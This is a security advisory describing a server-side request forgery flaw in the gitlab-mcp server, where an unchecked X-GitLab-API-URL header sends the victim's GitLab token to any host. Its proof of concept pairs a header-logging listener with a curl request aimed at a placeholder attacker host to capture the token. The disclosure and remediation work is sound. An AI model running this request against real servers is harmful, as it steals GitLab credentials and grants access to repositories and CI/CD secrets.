GHSA-2h44-8472-frjj

# Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft

## Affected

- **Repository:** `zereight/gitlab-mcp` - **Affected versions:** All versions through commit `74a8c83` - **Patched versions:** None at time of report

## Severity

High. CVSS v3.1 8.5 (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N`)

## Description

When the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim's `Private-Token` to every outbound fetch that uses the redirected URL.

Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host.

The vulnerable code appears at two locations.

**SSE handler (`index.ts:11541`):**

```typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // no allowlist check } ```

**Streamable HTTP handler (`index.ts:11787`), inside `parseAuthHeaders`:**

```typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { new URL(dynamicApiUrl); // syntax-only check apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted } ```

In both cases, `apiUrl` propagates through `getEffectiveApiUrl()` and into `getFetchConfig()`, which attaches `Private-Token: <victim_token>` to every outbound fetch. The token reaches the attacker's host, not GitLab.

## Proof of Concept

Run upstream `zereight/gitlab-mcp` at commit `74a8c83` with `ENABLE_DYNAMIC_API_URL=true` and `REMOTE_AUTHORIZATION=true`.

```bash # 1. Start a listener on the attacker host (port 9099) # Any HTTP server that logs incoming headers will work. python3 -c " import http.server, sys class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print('HEADERS:', dict(self.headers)) self.send_response(200); self.end_headers() http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever() "

# 2. Send any MCP tool call with the malicious header curl -X POST http://TARGET:3002/mcp \ -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \ -H "Authorization: Bearer ANY_VALID_TOKEN" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}' ```

The listener receives:

``` GET /api/v4/projects/1/issues HTTP/1.1 private-token: <VICTIM_GITLAB_TOKEN> Host: ATTACKER:9099 ```

The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.

## Impact

The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.

CVSS factors: - `PR:L`: reaching the HTTP transport requires presenting some auth token - `S:C`: the attack crosses the boundary into GitLab (a separate security domain) - `C:H`: victim's GitLab token stolen in one request; full read of all scoped data - `I:H`: attacker can push code and modify pipelines with the stolen token - `A:N`: the MCP server continues operating normally

## Why This Is a Vulnerability, Not Intended Behavior

`ENABLE_DYNAMIC_API_URL` is documented for supporting self-hosted GitLab instances at a non-default base URL. The intended caller behavior is to supply the URL of their own GitLab instance. The feature has no mechanism to distinguish a legitimate self-hosted GitLab URL from an attacker-controlled host. Once enabled, every request that includes `X-GitLab-API-URL` can redirect the server's credential-carrying outbound calls to any reachable host with no restriction.

PR #453 (merged) added a startup guard that blocks the Streamable HTTP transport from running with static tokens unless `REMOTE_AUTHORIZATION=true` or OAuth is configured. That guard runs once at server startup and checks transport configuration. It does not modify `parseAuthHeaders`, does not validate `X-GitLab-API-URL`, and does not restrict the token-forwarding path at runtime. The SSRF sink at `index.ts:11787` is unchanged in the current code and fully reachable in the documented multi-user deployment mode (`REMOTE_AUTHORIZATION=true`).

## Remediation

Validate `X-GitLab-API-URL` against a configurable allowlist of trusted GitLab hostnames before assigning the value to `apiUrl`. Reject any request whose `X-GitLab-API-URL` hostname is not in the allowlist. Apply this check at both `index.ts:11541` and `index.ts:11787`.

Example fix for the Streamable HTTP handler:

```typescript const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "") .split(",").map(h => h.trim()).filter(Boolean);

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { const parsed = new URL(dynamicApiUrl); if (!ALLOWED_HOSTS.includes(parsed.hostname)) { throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`); } apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); } ```

Document `GITLAB_ALLOWED_HOSTS` in the README alongside `ENABLE_DYNAMIC_API_URL`. If maintaining an allowlist is not feasible, disable `ENABLE_DYNAMIC_API_URL` by default and document the token-forwarding risk prominently.

## Credit

Reported via GitHub Security Advisory on 2026-06-07.